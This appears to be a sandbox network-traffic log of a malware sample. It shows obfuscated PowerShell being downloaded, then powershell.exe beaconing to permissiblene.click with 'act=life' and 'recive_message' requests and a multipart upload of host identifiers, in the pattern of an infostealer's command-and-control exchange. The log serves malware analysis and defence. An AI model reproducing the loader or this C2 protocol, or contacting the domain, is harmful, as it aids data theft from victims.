2024-12-31 08:25:05 UTC	1369	IN	Data Raw: 51 4f 45 29 20 2a 20 24 41 6e 50 74 6e 43 4a 56 41 50 4a 29 20 2b 20 24 4a 4f 44 52 52 75 29 20 2d 20 24 4b 76 48 6f 6a 56 52 4b 6f 29 20 2a 20 31 31 37 38 29 29 29 20 2a 20 24 67 67 4a 64 54 56 74 6e 70 43 29 0d 0a 20 20 20 20 69 66 20 28 28 2d 34 38 36 20 2d 65 71 20 24 67 48 66 64 72 4f 46 29 20 2d 6f 72 20 28 37 34 30 31 36 20 2d 67 65 20 2d 35 36 37 33 34 30 29 20 2d 6f 72 20 28 2d 37 38 37 37 20 2d 67 74 20 24 6c 4b 76 48 73 76 53 46 4b 68 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 24 73 6f 65 4b 69 59 44 6b 71 65 59 20 3d 20 28 28 28 38 38 35 20 2d 20 2d 31 37 30 31 35 39 29 20 2d 20 24 52 72 48 56 77 4e 57 46 6b 70 52 29 20 2a 20 24 5a 63 69 55 6a 75 55 62 59 29 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 24 74 78 64 7a 42 50 2d 2d 0d 0a 7d 0d 0a 24 62 Data Ascii: QOE) * $AnPtnCJVAPJ) + $JODRRu) - $KvHojVRKo) * 1178))) * $ggJdTVtnpC) if ((-486 -eq $gHfdrOF) -or (74016 -ge -567340) -or (-7877 -gt $lKvHsvSFKh)) { $soeKiYDkqeY = (((885 - -170159) - $RrHVwNWFkpR) * $ZciUjuUbY) } $txdzBP--}$b
2024-12-31 08:25:05 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 24 79 51 55 49 4d 48 68 57 20 3d 20 28 28 39 38 33 20 2d 20 28 28 28 24 41 6e 50 74 6e 43 4a 56 41 50 4a 20 2b 20 24 41 75 51 44 42 68 47 5a 4b 29 20 2d 20 2d 32 32 38 32 31 29 29 29 20 2d 20 2d 37 30 38 38 33 29 0d 0a 7d 0d 0a 24 6e 66 43 47 72 43 51 49 45 6e 76 20 3d 20 28 28 28 24 67 48 66 64 72 4f 46 20 2d 20 28 28 28 28 2d 36 38 39 37 30 20 2d 20 28 28 28 28 28 28 28 2d 35 34 39 30 34 38 20 2a 20 28 28 28 28 28 28 34 30 20 2a 20 24 6a 5a 79 4a 78 78 41 6c 59 29 20 2a 20 24 79 51 55 49 4d 48 68 57 29 20 2b 20 24 7a 66 71 72 71 73 48 73 49 66 6d 29 20 2a 20 2d 34 29 20 2b 20 24 6a 5a 79 4a 78 78 41 6c 59 29 29 29 20 2d 20 2d 38 32 30 32 30 32 29 20 2d 20 28 28 28 24 4c 46 7a 68 4e 6f 62 6a 5a 20 2b 20 24 5a 6f 4d 77 7a 6f 29 20 2a 20 Data Ascii: $yQUIMHhW = ((983 - ((($AnPtnCJVAPJ + $AuQDBhGZK) - -22821))) - -70883)}$nfCGrCQIEnv = ((($gHfdrOF - ((((-68970 - (((((((-549048 * ((((((40 * $jZyJxxAlY) * $yQUIMHhW) + $zfqrqsHsIfm) * -4) + $jZyJxxAlY))) - -820202) - ((($LFzhNobjZ + $ZoMwzo) *
2024-12-31 08:25:05 UTC	1369	IN	Data Raw: 46 4b 68 20 2d 20 24 76 76 6b 45 44 50 61 62 29 20 2b 20 33 35 31 29 29 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 24 51 4e 54 5a 43 42 2d 2d 0d 0a 7d 0d 0a 24 73 6f 65 4b 69 59 44 6b 71 65 59 20 3d 20 28 28 24 67 67 4a 64 54 56 74 6e 70 43 20 2d 20 28 28 28 28 24 56 41 58 70 51 68 20 2a 20 24 56 41 58 70 51 68 29 20 2a 20 38 33 33 29 20 2d 20 24 79 51 55 49 4d 48 68 57 29 29 29 20 2d 20 2d 38 29 0d 0a 69 66 20 28 28 24 5a 6f 4d 77 7a 6f 20 2d 65 71 20 2d 32 32 33 29 20 2d 6f 72 20 28 2d 33 37 20 2d 67 65 20 33 37 38 29 29 20 7b 0d 0a 20 20 20 20 24 62 48 43 78 7a 43 5a 20 3d 20 28 28 28 28 28 24 5a 6f 4d 77 7a 6f 20 2d 20 28 28 28 28 2d 36 20 2a 20 24 66 6b 75 56 62 58 5a 6f 65 56 5a 29 20 2b 20 2d 36 31 39 30 37 29 20 2b 20 24 79 64 4f 74 77 6b 46 68 29 29 Data Ascii: FKh - $vvkEDPab) + 351)) } $QNTZCB--}$soeKiYDkqeY = (($ggJdTVtnpC - (((($VAXpQh * $VAXpQh) * 833) - $yQUIMHhW))) - -8)if (($ZoMwzo -eq -223) -or (-37 -ge 378)) { $bHCxzCZ = ((((($ZoMwzo - ((((-6 * $fkuVbXZoeVZ) + -61907) + $ydOtwkFh))
2024-12-31 08:25:05 UTC	1369	IN	Data Raw: 62 48 43 78 7a 43 5a 29 20 2b 20 24 41 6e 50 74 6e 43 4a 56 41 50 4a 29 0d 0a 7d 0d 0a 24 79 49 70 65 6d 75 4f 63 66 20 3d 20 28 28 28 28 28 2d 36 39 20 2d 20 28 28 28 28 2d 39 36 38 38 20 2d 20 24 4d 6c 6a 77 4a 72 79 70 29 20 2d 20 2d 32 39 32 29 20 2d 20 24 79 51 55 49 4d 48 68 57 29 29 29 20 2b 20 28 28 28 28 31 20 2a 20 28 28 28 28 28 28 39 35 20 2a 20 24 6e 66 43 47 72 43 51 49 45 6e 76 29 20 2a 20 28 28 28 24 4c 46 7a 68 4e 6f 62 6a 5a 20 2b 20 24 4d 6c 6a 77 4a 72 79 70 29 20 2b 20 24 41 6e 50 74 6e 43 4a 56 41 50 4a 29 29 29 20 2a 20 35 29 29 20 2b 20 28 28 28 2d 38 36 37 20 2b 20 38 39 39 31 34 29 20 2a 20 24 66 6b 75 56 62 58 5a 6f 65 56 5a 29 20 2b 20 24 5a 6f 4d 77 7a 6f 29 29 29 29 20 2a 20 36 30 29 20 2d 20 28 28 28 28 28 28 28 28 35 38 35 Data Ascii: bHCxzCZ) + $AnPtnCJVAPJ)}$yIpemuOcf = (((((-69 - ((((-9688 - $MljwJryp) - -292) - $yQUIMHhW))) + ((((1 * ((((((95 * $nfCGrCQIEnv) * ((($LFzhNobjZ + $MljwJryp) + $AnPtnCJVAPJ))) * 5)) + (((-867 + 89914) * $fkuVbXZoeVZ) + $ZoMwzo)))) * 60) - ((((((((585
2024-12-31 08:25:05 UTC	823	IN	Data Raw: 29 0d 0a 20 20 20 20 24 53 63 6a 77 5a 57 47 2d 2d 0d 0a 7d 0d 0a 24 71 6f 46 70 4c 68 6e 66 20 3d 20 28 28 28 28 28 28 28 24 6c 4b 76 48 73 76 53 46 4b 68 20 2d 20 28 28 28 28 28 24 4d 6c 6a 77 4a 72 79 70 20 2d 20 28 28 28 28 28 28 28 24 4c 46 7a 68 4e 6f 62 6a 5a 20 2d 20 28 28 28 28 28 2d 38 20 2a 20 36 32 31 36 29 20 2b 20 35 29 20 2b 20 34 30 39 32 33 34 29 20 2d 20 24 7a 66 71 72 71 73 48 73 49 66 6d 29 29 29 20 2d 20 24 58 72 76 4b 6c 6a 29 20 2a 20 28 28 28 28 24 77 74 79 63 4a 42 51 4f 45 20 2b 20 24 6c 4b 76 48 73 76 53 46 4b 68 29 20 2a 20 24 79 49 70 65 6d 75 4f 63 66 29 20 2b 20 24 6e 4e 73 4c 73 4c 62 53 47 29 29 29 20 2b 20 33 33 36 29 29 20 2b 20 28 28 28 28 28 24 58 72 76 4b 6c 6a 20 2b 20 24 5a 6f 4d 77 7a 6f 29 20 2d 20 24 6a 5a 79 4a Data Ascii: ) $ScjwZWG--}$qoFpLhnf = ((((((($lKvHsvSFKh - ((((($MljwJryp - ((((((($LFzhNobjZ - (((((-8 * 6216) + 5) + 409234) - $zfqrqsHsIfm))) - $XrvKlj) * (((($wtycJBQOE + $lKvHsvSFKh) * $yIpemuOcf) + $nNsLsLbSG))) + 336)) + ((((($XrvKlj + $ZoMwzo) - $jZyJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49983	188.114.96.3	443	3836	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:26:21 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: permissiblene.click
2024-12-31 08:26:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-31 08:26:22 UTC	1130	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:26:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5opls1e6fvrg9mebjgknebqh37; expires=Sat, 26 Apr 2025 02:13:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O37hZbsgqmq2wpyJuoSn72wZw%2B%2FSkrOB5YqXxfc8tssaiDEfF%2Fp8rClAjzGeM4kS2ym%2BLygTQSwu4ICNUd4BX6GfEYNgo4q8eVaEFwQmT%2FGImsn1kUnP%2B70aGPVIAS2DBH7Xqtca"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8e25ddf0443c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2306&min_rtt=2305&rtt_var=867&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=910&delivery_rate=1260794&cwnd=32&unsent_bytes=0&cid=ae2f18fd76007e9f&ts=479&x=0"
2024-12-31 08:26:22 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-31 08:26:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49984	188.114.96.3	443	3836	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:26:22 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: permissiblene.click
2024-12-31 08:26:22 UTC	77	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 4a 61 4e 4c 6a 2d 2d 72 65 35 26 6a 3d 34 61 62 63 65 31 34 36 39 61 30 38 36 37 65 33 61 31 39 61 62 63 65 37 31 34 36 34 63 34 37 33 Data Ascii: act=recive_message&ver=4.0&lid=yJaNLj--re5&j=4abce1469a0867e3a19abce71464c473
2024-12-31 08:26:22 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:26:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nprq68stsajmeo0bfk9ds1ibko; expires=Sat, 26 Apr 2025 02:13:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UKvK8%2F1TA8Gk16B24HFMjwkIJ%2BFDCHMwBoQ%2FH%2FG3SHSG1WfSDRnVZdL1JoYOmWZZYX7sFSzPsbgZytWUjNAZj34dBE12F%2B8JbH95k8MAELbuFKmvrP5WVUz%2BnHkfEQ089dqbSVaR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8e263a96442bf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2037&min_rtt=1813&rtt_var=840&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=980&delivery_rate=1610590&cwnd=213&unsent_bytes=0&cid=fe2755522d961ad4&ts=426&x=0"
2024-12-31 08:26:22 UTC	238	IN	Data Raw: 33 39 63 34 0d 0a 63 6a 39 32 50 65 61 39 61 78 50 6f 4c 34 68 32 42 69 47 65 37 51 73 57 4d 53 65 38 6a 51 74 73 48 39 38 4a 41 62 67 50 68 54 77 4a 48 51 41 66 33 49 6c 48 4d 5a 74 4b 71 6b 78 67 51 50 4b 65 62 6a 6f 54 52 74 69 76 4d 51 70 2b 73 33 70 6b 6c 43 33 7a 55 56 41 46 45 46 79 4b 7a 67 34 2f 79 6b 72 77 56 44 78 36 35 63 39 75 65 42 4d 64 6e 75 68 68 44 6e 36 7a 61 32 44 54 59 50 56 51 45 56 63 61 57 6f 37 59 43 48 65 4a 51 2b 55 54 59 30 54 2f 68 32 56 2f 58 45 2f 52 72 79 64 4f 65 71 55 72 4f 35 70 43 34 45 67 54 63 68 64 4f 6a 5a 38 57 50 35 4d 4e 37 52 67 6b 47 37 79 4d 62 6e 52 64 51 64 6a 6d 59 77 52 33 75 32 70 6c 30 6e 2f 73 57 68 70 58 46 46 6d 50 30 67 46 6a 68 45 6e 69 47 47 56 4f Data Ascii: 39c4cj92Pea9axPoL4h2BiGe7QsWMSe8jQtsH98JAbgPhTwJHQAf3IlHMZtKqkxgQPKebjoTRtivMQp+s3pklC3zUVAFEFyKzg4/ykrwVDx65c9ueBMdnuhhDn6za2DTYPVQEVcaWo7YCHeJQ+UTY0T/h2V/XE/RrydOeqUrO5pC4EgTchdOjZ8WP5MN7RgkG7yMbnRdQdjmYwR3u2pl0n/sWhpXFFmP0gFjhEniGGVO
2024-12-31 08:26:22 UTC	1369	IN	Data Raw: 2f 38 38 6e 4e 46 52 64 6e 72 63 70 58 55 2b 2b 65 6e 4c 50 59 50 64 59 55 45 4a 61 52 73 54 59 42 54 48 53 44 65 49 59 61 6b 62 2f 67 47 35 31 55 31 66 52 37 32 6f 47 64 62 6c 68 62 4e 56 69 36 56 51 58 56 52 31 59 69 39 67 42 64 34 56 4f 71 6c 6f 6b 52 4f 54 50 4d 54 52 7a 56 64 33 73 66 51 4e 73 2f 58 51 74 77 79 33 67 55 6c 41 46 56 46 6d 4b 33 67 52 78 6d 45 58 68 48 32 46 52 39 34 5a 6b 65 56 4e 49 31 4f 42 71 44 6e 71 33 59 57 7a 51 61 65 70 54 46 6c 30 55 48 38 71 66 44 6d 6e 4b 46 61 6f 33 59 56 50 37 67 33 38 32 61 51 58 42 6f 58 42 4f 65 72 45 72 4f 35 70 6c 34 6c 30 54 56 68 74 63 6a 4e 51 62 63 5a 68 4c 35 78 46 32 52 66 6d 42 59 33 64 42 54 39 44 70 61 67 64 32 74 47 35 6b 33 69 32 70 48 68 64 46 56 41 66 45 2f 67 52 36 68 6b 66 39 46 43 52 Data Ascii: /88nNFRdnrcpXU++enLPYPdYUEJaRsTYBTHSDeIYakb/gG51U1fR72oGdblhbNVi6VQXVR1Yi9gBd4VOqlokROTPMTRzVd3sfQNs/XQtwy3gUlAFVFmK3gRxmEXhH2FR94ZkeVNI1OBqDnq3YWzQaepTFl0UH8qfDmnKFao3YVP7g382aQXBoXBOerErO5pl4l0TVhtcjNQbcZhL5xF2RfmBY3dBT9Dpagd2tG5k3i2pHhdFVAfE/gR6hkf9FCR
2024-12-31 08:26:22 UTC	1369	IN	Data Raw: 58 68 42 53 64 54 70 5a 67 4e 78 2f 53 55 6a 33 58 57 6e 42 6c 42 33 46 30 75 48 31 55 74 45 69 55 50 6b 45 33 49 44 34 38 46 77 4e 46 52 4a 6e 72 63 70 41 33 79 31 62 58 48 56 59 4f 52 51 48 6c 49 52 55 49 7a 66 43 58 79 50 53 65 45 66 5a 30 37 34 6e 57 4e 30 57 30 44 66 35 57 4e 4f 4d 2f 31 73 65 35 6f 31 70 32 38 48 56 6c 5a 71 68 39 45 48 64 70 77 4e 39 56 70 39 41 2f 75 44 4b 53 77 54 53 4e 62 71 62 41 46 38 74 32 56 6d 30 47 48 76 55 42 4e 50 47 31 75 45 30 77 46 37 68 30 50 75 48 47 31 49 39 34 6c 70 64 56 6b 46 6b 4b 39 75 46 6a 33 6c 4b 31 66 64 59 65 70 52 55 6d 67 58 55 59 72 59 48 7a 47 56 41 2f 4e 55 59 30 2b 38 31 79 6c 34 57 6b 58 56 35 57 30 4f 65 72 42 75 59 4e 31 75 36 6c 6b 61 55 78 4e 62 69 4e 59 45 64 34 70 4b 37 68 46 32 52 76 57 44 Data Ascii: XhBSdTpZgNx/SUj3XWnBlB3F0uH1UtEiUPkE3ID48FwNFRJnrcpA3y1bXHVYORQHlIRUIzfCXyPSeEfZ074nWN0W0Df5WNOM/1se5o1p28HVlZqh9EHdpwN9Vp9A/uDKSwTSNbqbAF8t2Vm0GHvUBNPG1uE0wF7h0PuHG1I94lpdVkFkK9uFj3lK1fdYepRUmgXUYrYHzGVA/NUY0+81yl4WkXV5W0OerBuYN1u6lkaUxNbiNYEd4pK7hF2RvWD
2024-12-31 08:26:22 UTC	1369	IN	Data Raw: 76 49 72 33 5a 41 5a 50 31 73 62 35 6f 31 70 31 63 5a 54 78 70 52 6a 64 49 50 65 59 31 44 35 78 39 69 53 50 75 49 62 33 6c 62 53 4e 76 73 61 41 70 33 72 32 68 6f 30 47 44 74 48 6c 34 64 45 30 66 45 68 30 6c 57 68 6d 54 36 44 33 5a 56 76 4a 41 6e 62 52 4e 43 30 71 38 78 54 6e 36 79 59 6d 7a 53 5a 65 68 52 46 46 4d 53 57 59 6e 61 42 6e 75 59 52 65 51 5a 62 30 7a 33 6e 57 6c 35 56 30 6e 61 35 32 49 45 50 66 4d 72 5a 4d 49 74 76 78 34 6c 55 42 74 66 68 38 6c 4a 62 73 52 55 71 68 4e 6f 41 36 54 50 5a 58 70 54 53 74 4c 6a 59 67 5a 38 73 57 56 6b 33 32 54 76 56 67 4a 63 45 46 65 46 30 51 5a 77 6a 6b 6a 76 45 47 4e 48 2b 6f 41 70 4f 68 4e 43 78 71 38 78 54 6c 4b 61 58 69 48 37 56 36 64 42 58 6b 52 55 57 49 69 66 55 54 47 47 54 75 59 63 61 30 58 31 67 32 4e 39 57 Data Ascii: vIr3ZAZP1sb5o1p1cZTxpRjdIPeY1D5x9iSPuIb3lbSNvsaAp3r2ho0GDtHl4dE0fEh0lWhmT6D3ZVvJAnbRNC0q8xTn6yYmzSZehRFFMSWYnaBnuYReQZb0z3nWl5V0na52IEPfMrZMItvx4lUBtfh8lJbsRUqhNoA6TPZXpTStLjYgZ8sWVk32TvVgJcEFeF0QZwjkjvEGNH+oApOhNCxq8xTlKaXiH7V6dBXkRUWIifUTGGTuYca0X1g2N9W
2024-12-31 08:26:22 UTC	1369	IN	Data Raw: 74 44 58 6d 34 5a 47 4c 62 61 2f 56 5a 47 55 38 61 55 6f 76 58 41 58 69 4c 53 65 38 5a 59 6b 2f 32 6a 6d 35 36 58 55 32 65 6f 53 6b 4a 5a 66 30 7a 49 2f 74 39 2f 45 77 47 55 44 56 53 69 35 38 57 50 35 4d 4e 37 52 67 6b 47 37 79 47 65 33 42 65 56 39 66 6f 5a 77 46 2b 72 32 70 75 30 58 2f 67 55 52 52 61 47 46 6d 4c 32 51 68 30 67 45 48 74 45 57 39 4d 38 4d 38 6e 4e 46 52 64 6e 72 63 70 49 48 61 75 66 47 44 55 5a 76 46 46 55 45 4a 61 52 73 54 59 42 54 48 53 44 65 6b 66 62 30 66 38 67 32 6c 77 58 6b 58 4d 34 47 34 4a 64 4c 5a 35 61 64 31 71 37 46 59 62 55 68 4a 4e 69 4e 45 62 64 4a 68 66 71 6c 6f 6b 52 4f 54 50 4d 54 52 6c 51 73 37 2f 61 6b 78 4d 71 32 68 31 30 57 44 72 48 67 38 54 44 52 2b 44 30 30 6b 70 79 6b 76 6c 48 57 64 4d 2f 59 5a 6c 65 56 5a 4d 32 2b Data Ascii: tDXm4ZGLba/VZGU8aUovXAXiLSe8ZYk/2jm56XU2eoSkJZf0zI/t9/EwGUDVSi58WP5MN7RgkG7yGe3BeV9foZwF+r2pu0X/gURRaGFmL2Qh0gEHtEW9M8M8nNFRdnrcpIHaufGDUZvFFUEJaRsTYBTHSDekfb0f8g2lwXkXM4G4JdLZ5ad1q7FYbUhJNiNEbdJhfqlokROTPMTRlQs7/akxMq2h10WDrHg8TDR+D00kpykvlHWdM/YZleVZM2+
2024-12-31 08:26:22 UTC	1369	IN	Data Raw: 73 31 6c 67 77 53 33 34 45 41 6b 64 45 31 50 45 68 30 6c 79 6a 55 37 72 48 6d 31 50 38 34 68 74 5a 6c 6c 43 7a 4f 35 6f 42 58 43 78 61 32 37 58 5a 2b 5a 58 48 56 45 5a 57 49 50 51 44 44 48 45 44 65 30 4d 4a 42 75 38 72 6d 52 2f 58 78 36 45 72 33 5a 41 5a 50 31 73 62 35 6f 31 70 31 34 61 57 42 35 53 68 39 41 4b 59 34 74 4c 2b 42 52 70 53 65 36 46 59 6e 46 65 53 4e 50 73 62 77 68 32 73 58 6c 71 32 6d 37 73 48 6c 34 64 45 30 66 45 68 30 6c 53 6e 56 76 67 45 32 68 56 39 34 35 71 59 6c 35 56 6e 71 45 70 48 33 71 73 4b 7a 76 4d 66 66 42 5a 44 78 4d 4e 48 34 50 54 53 53 6e 4b 53 2b 4d 53 59 30 58 79 6e 57 78 79 58 45 72 58 35 6d 30 47 66 72 31 76 5a 39 31 6f 35 46 49 62 57 68 64 51 67 4e 59 48 65 49 55 4e 70 46 52 6a 57 37 7a 58 4b 56 56 49 52 74 4c 69 4b 52 45 Data Ascii: s1lgwS34EAkdE1PEh0lyjU7rHm1P84htZllCzO5oBXCxa27XZ+ZXHVEZWIPQDDHEDe0MJBu8rmR/Xx6Er3ZAZP1sb5o1p14aWB5Sh9AKY4tL+BRpSe6FYnFeSNPsbwh2sXlq2m7sHl4dE0fEh0lSnVvgE2hV945qYl5VnqEpH3qsKzvMffBZDxMNH4PTSSnKS+MSY0XynWxyXErX5m0Gfr1vZ91o5FIbWhdQgNYHeIUNpFRjW7zXKVVIRtLiKRE
2024-12-31 08:26:22 UTC	1369	IN	Data Raw: 35 51 74 34 45 5a 51 42 56 52 2f 6a 38 6b 4d 64 70 77 50 33 78 64 71 54 66 75 5a 4b 57 74 73 43 35 37 75 4b 56 5a 45 70 43 74 31 6d 6a 57 31 45 46 42 50 56 41 66 45 6d 41 70 6a 6d 45 76 70 41 6d 63 45 77 72 46 4f 59 6c 6c 43 7a 75 68 2b 41 54 33 7a 4b 32 79 61 4e 64 34 65 47 56 6f 50 54 70 4c 53 47 58 62 4b 63 71 52 55 66 41 4f 6b 7a 31 78 33 58 55 76 5a 2b 58 68 44 57 71 74 68 5a 4d 70 71 38 46 46 51 45 31 52 5a 78 49 64 61 50 38 70 4a 2b 31 51 38 45 36 37 55 50 43 63 45 46 59 7a 77 4a 78 63 39 71 79 73 37 69 43 4f 6e 54 46 41 46 56 42 69 48 7a 52 74 33 69 56 76 70 55 31 70 39 33 49 52 6c 64 31 39 45 32 61 38 6e 54 6e 4c 39 4d 31 71 61 62 76 56 4d 58 30 77 43 55 70 54 59 52 58 6d 62 51 4f 5a 55 4b 67 4f 77 69 32 4a 34 56 6b 4c 4f 6f 48 73 65 64 72 46 39 Data Ascii: 5Qt4EZQBVR/j8kMdpwP3xdqTfuZKWtsC57uKVZEpCt1mjW1EFBPVAfEmApjmEvpAmcEwrFOYllCzuh+AT3zK2yaNd4eGVoPTpLSGXbKcqRUfAOkz1x3XUvZ+XhDWqthZMpq8FFQE1RZxIdaP8pJ+1Q8E67UPCcEFYzwJxc9qys7iCOnTFAFVBiHzRt3iVvpU1p93IRld19E2a8nTnL9M1qabvVMX0wCUpTYRXmbQOZUKgOwi2J4VkLOoHsedrF9
2024-12-31 08:26:22 UTC	1369	IN	Data Raw: 6b 65 41 68 31 4d 48 38 50 52 42 48 43 4a 51 2b 6b 47 64 6b 58 2f 6d 57 6f 7a 62 58 76 78 35 47 67 65 63 4b 78 6d 5a 38 78 54 32 58 6b 57 57 42 4e 68 75 75 67 59 64 70 6f 50 7a 42 64 79 51 4c 7a 42 4b 57 77 54 48 5a 37 49 62 77 74 36 2f 53 55 6a 33 69 32 2f 48 6a 39 57 46 55 2b 4a 7a 67 52 31 6e 41 2f 4e 45 6d 46 45 76 4d 45 70 65 42 4d 64 6e 75 42 34 43 58 75 34 62 43 2f 64 64 2b 41 65 58 68 30 61 48 39 79 66 42 6d 43 4e 53 2b 38 54 4b 45 58 79 67 53 6c 72 48 56 79 65 2b 53 6c 57 4c 76 4d 72 63 5a 6f 31 70 78 6b 65 55 42 56 63 69 74 77 62 59 34 78 4f 2f 42 63 6a 66 63 4b 76 65 58 64 48 51 75 2f 69 62 52 68 6f 76 6e 74 6b 35 46 50 48 54 68 4e 4a 45 78 43 6b 7a 77 52 6b 6d 30 72 36 4b 6c 70 30 37 59 68 35 4e 6e 56 47 79 4f 77 70 51 44 32 6c 4b 7a 75 61 54 Data Ascii: keAh1MH8PRBHCJQ+kGdkX/mWozbXvx5GgecKxmZ8xT2XkWWBNhuugYdpoPzBdyQLzBKWwTHZ7Ibwt6/SUj3i2/Hj9WFU+JzgR1nA/NEmFEvMEpeBMdnuB4CXu4bC/dd+AeXh0aH9yfBmCNS+8TKEXygSlrHVye+SlWLvMrcZo1pxkeUBVcitwbY4xO/BcjfcKveXdHQu/ibRhovntk5FPHThNJExCkzwRkm0r6Klp07Yh5NnVGyOwpQD2lKzuaT
2024-12-31 08:26:22 UTC	1369	IN	Data Raw: 61 4b 6d 47 6c 30 67 68 51 68 30 7a 55 4b 6b 52 54 38 5a 70 34 63 30 4e 37 34 4e 68 34 43 57 33 2f 54 57 44 4d 62 71 63 51 55 45 56 55 42 38 54 2b 42 48 43 72 51 4f 74 55 65 77 33 6c 7a 33 38 30 43 78 57 51 72 33 74 4f 4a 66 30 73 59 4d 68 2f 34 56 30 47 58 6c 4e 68 75 76 41 45 61 59 46 44 35 42 64 61 66 64 69 45 65 58 4e 58 53 4d 54 52 56 7a 78 74 73 47 39 6f 31 47 72 32 48 6c 34 64 44 42 2f 63 6e 79 5a 38 6b 6b 62 6b 47 6d 63 42 32 49 52 35 63 31 64 49 78 4b 39 32 51 47 54 39 66 53 4f 43 50 61 6b 65 41 68 31 4d 48 38 50 63 47 32 4f 4d 54 76 77 58 49 33 33 43 75 6d 70 69 56 46 58 61 34 6e 4d 77 51 34 39 37 62 74 35 6d 36 56 6b 42 48 56 6f 66 6e 4a 39 52 4d 62 39 4f 2f 42 4e 30 52 2f 47 56 4b 57 73 64 58 4a 37 35 4b 56 59 74 38 79 74 78 6d 6a 57 6e 47 52 Data Ascii: aKmGl0ghQh0zUKkRT8Zp4c0N74Nh4CW3/TWDMbqcQUEVUB8T+BHCrQOtUew3lz380CxWQr3tOJf0sYMh/4V0GXlNhuvAEaYFD5BdafdiEeXNXSMTRVzxtsG9o1Gr2Hl4dDB/cnyZ8kkbkGmcB2IR5c1dIxK92QGT9fSOCPakeAh1MH8PcG2OMTvwXI33CumpiVFXa4nMwQ497bt5m6VkBHVofnJ9RMb9O/BN0R/GVKWsdXJ75KVYt8ytxmjWnGR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49986	188.114.96.3	443	3836	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:26:23 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XAFS5EBEID00HP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12809 Host: permissiblene.click
2024-12-31 08:26:23 UTC	12809	OUT	Data Raw: 2d 2d 58 41 46 53 35 45 42 45 49 44 30 30 48 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 43 32 43 37 43 32 42 44 34 39 34 39 34 31 39 36 31 46 38 32 38 31 30 36 35 36 46 39 34 35 0d 0a 2d 2d 58 41 46 53 35 45 42 45 49 44 30 30 48 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 41 46 53 35 45 42 45 49 44 30 30 48 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 61 4e 4c 6a 2d 2d 72 65 35 0d 0a 2d 2d 58 41 46 53 35 45 42 45 49 44 Data Ascii: 